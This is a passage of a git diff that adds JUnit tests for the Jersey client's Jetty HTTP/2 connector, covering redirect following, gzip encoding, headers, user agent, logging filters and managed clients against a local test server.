+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class FollowRedirectsTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+    @Path("/test")
+    public static class RedirectResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("redirect")
+        public Response redirect() {
+            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(RedirectResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    private static class RedirectTestFilter implements ClientResponseFilter {
+        public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+        @Override
+        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+            if (responseContext instanceof ClientResponse) {
+                ClientResponse clientResponse = (ClientResponse) responseContext;
+                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+            }
+        }
+    }
+
+    @Test
+    public void testDoFollow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        Response r = t.path("test/redirect")
+                .register(RedirectTestFilter.class)
+                .request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+        c.close();
+    }
+
+    @Test
+    public void testDoFollowPerRequestOverride() {
+        WebTarget t = target("test/redirect");
+        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+        Response r = t.request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDontFollow() {
+        WebTarget t = target("test/redirect");
+        assertEquals(303, t.request().get().getStatus());
+    }
+
+    @Test
+    public void testDontFollowPerRequestOverride() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget t = client.target(u);
+        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        Response r = t.path("test/redirect").request().get();
+        assertEquals(303, r.getStatus());
+        client.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
new file mode 100644
index 0000000..29bb444
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class GZIPContentEncodingTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    @Path("/")
+    public static class Resource {
+
+        @POST
+        public byte[] post(byte[] content) {
+            return content;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(Resource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(GZipEncoder.class);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target();
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+        assertTrue(cr.hasEntity());
+        cr.close();
+    }
+
+    @Test
+    public void testPostChunked() {
+        ClientConfig config = new ClientConfig();
+        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.text("POST"));
+        assertTrue(cr.hasEntity());
+        cr.close();
+
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
new file mode 100644
index 0000000..bcf20cc
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HelloWorldTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+    private static final String ROOT_PATH = "helloworld";
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testConnection() {
+        Response response = target().path(ROOT_PATH).request("text/plain").get();
+        assertEquals(200, response.getStatus());
+    }
+
+    @Test
+    public void testClientStringResponse() {
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+    }
+
+    @Test
+    public void testAsyncClientRequests() throws InterruptedException {
+        final int REQUESTS = 20;
+        final CountDownLatch latch = new CountDownLatch(REQUESTS);
+        final long tic = System.currentTimeMillis();
+        for (int i = 0; i < REQUESTS; i++) {
+            final int id = i;
+            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
+                @Override
+                public void completed(Response response) {
+                    try {
+                        final String result = response.readEntity(String.class);
+                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+                    } finally {
+                        latch.countDown();
+                    }
+                }
+
+                @Override
+                public void failed(Throwable error) {
+                    error.printStackTrace();
+                    latch.countDown();
+                }
+            });
+        }
+        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+        final long toc = System.currentTimeMillis();
+        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+    }
+
+    @Test
+    public void testHead() {
+        Response response = target().path(ROOT_PATH).request().head();
+        assertEquals(200, response.getStatus());
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals("foo/bar", response.getMediaType().toString());
+        assertEquals(0, response.getLength());
+    }
+
+    @Test
+    public void testTextPlainOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+        final String responseBody = response.readEntity(String.class);
+        _checkAllowContent(responseBody);
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+    @Test
+    public void testMissingResourceNotFound() {
+        Response response;
+
+        response = target().path(ROOT_PATH + "arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+
+        response = target().path(ROOT_PATH).path("arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+    }
+
+    @Test
+    public void testLoggingFilterClientClass() {
+        Client client = client();
+        client.register(CustomLoggingFilter.class).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+    @Test
+    public void testLoggingFilterClientInstance() {
+        Client client = client();
+        client.register(new CustomLoggingFilter()).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+    @Test
+    public void testLoggingFilterTargetClass() {
+        WebTarget target = target().path(ROOT_PATH);
+        target.register(CustomLoggingFilter.class).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target.request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+    }
+
+    @Test
+    public void testLoggingFilterTargetInstance() {
+        WebTarget target = target().path(ROOT_PATH);
+        target.register(new CustomLoggingFilter()).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target.request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+    }
+
+    @Test
+    public void testConfigurationUpdate() {
+        Client client1 = client();
+        client1.register(CustomLoggingFilter.class).property("foo", "bar");
+
+        Client client = ClientBuilder.newClient(client1.getConfiguration());
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
new file mode 100644
index 0000000..c59e557
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Tests the HTTP2 presence.
+ *
+ */
+public class Http2PresenceTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @POST
+        public String post(
+                @HeaderParam("Transfer-Encoding") String transferEncoding,
+                @HeaderParam("X-CLIENT") String xClient,
+                @HeaderParam("X-WRITER") String xWriter,
+                String entity) {
+            assertEquals("client", xClient);
+            return "POST";
+        }
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+    }
+
+    @Test
+    public void testHttp2Presence() {
+        final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
+        assertTrue(provider instanceof JettyHttp2ConnectorProvider);
+
+        final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target());
+        assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2);
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
new file mode 100644
index 0000000..cb3b319
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HttpHeadersTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @POST
+        public String post(
+                @HeaderParam("Transfer-Encoding") String transferEncoding,
+                @HeaderParam("X-CLIENT") String xClient,
+                @HeaderParam("X-WRITER") String xWriter,
+                String entity) {
+            assertEquals("client", xClient);
+            return "POST";
+        }
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
new file mode 100644
index 0000000..215408b
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ManagedClientTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+    /**
+     * Managed client configuration for client A.
+     */
+    @ClientBinding(configClass = MyClientAConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public static @interface ClientA {
+    }
+
+    /**
+     * Managed client configuration for client B.
+     */
+    @ClientBinding(configClass = MyClientBConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public @interface ClientB {
+    }
+
+    /**
+     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+     * to every method that is annotated with {@link Require &#64;Require} internal feature
+     * annotation.
+     */
+    public static class CustomHeaderFeature implements DynamicFeature {
+
+        /**
+         * A method annotation to be placed on those resource methods to which a validating
+         * {@link CustomHeaderFilter} instance should be added.
+         */
+        @Retention(RetentionPolicy.RUNTIME)
+        @Documented
+        @Target(ElementType.METHOD)
+        public static @interface Require {
+
+            /**
+             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+             */
+            public String headerName();
+
+            /**
+             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+             */
+            public String headerValue();
+        }
+
+        @Override
+        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+            if (va != null) {
+                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+            }
+        }
+    }
+
+    /**
+     * A filter for appending and validating custom headers.
+     * <p>
+     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+     * </p>
+     * <p>
+     * On the server side, validates that each request has a custom header with a configured name and value.
+     * If the validation fails a HTTP 403 response is returned.
+     * </p>
+     */
+    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+        private final String headerName;
+        private final String headerValue;
+
+        public CustomHeaderFilter(String headerName, String headerValue) {
+            if (headerName == null || headerValue == null) {
+                throw new IllegalArgumentException("Header name and value must not be null.");
+            }
+            this.headerName = headerName;
+            this.headerValue = headerValue;
+        }
+
+        @Override
+        public void filter(ContainerRequestContext ctx) throws IOException { // validate
+            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+                        .type(MediaType.TEXT_PLAIN)
+                        .entity(String
+                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+                        .build());
+            }
+        }
+
+        @Override
+        public void filter(ClientRequestContext ctx) throws IOException { // append
+            ctx.getHeaders().putSingle(headerName, headerValue);
+        }
+    }
+
+    /**
+     * Internal resource accessed from the managed client resource.
+     */
+    @Path("internal")
+    public static class InternalResource {
+
+        @GET
+        @Path("a")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+        public String getA() {
+            return "a";
+        }
+
+        @GET
+        @Path("b")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+        public String getB() {
+            return "b";
+        }
+    }
+
+    /**
+     * A resource that uses managed clients to retrieve values of internal
+     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+     * and require a specific custom header in a request to be set to a specific value.
+     * <p>
+     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+     * with a proper value into the outgoing client requests.
+     * </p>
+     */
+    @Path("public")
+    public static class PublicResource {
+
+        @Uri("a")
+        @ClientA // resolves to <base>/internal/a
+        private WebTarget targetA;
+
+        @GET
+        @Produces("text/plain")
+        @Path("a")
+        public String getTargetA() {
+            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+        }
+
+        @GET
+        @Produces("text/plain")
+        @Path("b")
+        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+            return targetB.request(MediaType.TEXT_PLAIN).get();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    public static class MyClientAConfig extends ClientConfig {
+
+        public MyClientAConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "a"));
+        }
+    }
+
+    public static class MyClientBConfig extends ClientConfig {
+
+        public MyClientBConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "b"));
+        }
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    /**
+     * Test that a connection via managed clients works properly.
+     *
+     * @throws Exception in case of test failure.
+     */
+    @Test
+    public void testManagedClient() throws Exception {
+        final WebTarget resource = target().path("public").path("{name}");
+        Response response;
+
+        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("a", response.readEntity(String.class));
+
+        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("b", response.readEntity(String.class));
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
new file mode 100644
index 0000000..8412c41
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
@@ -0,0 +1,146 @@
+/*
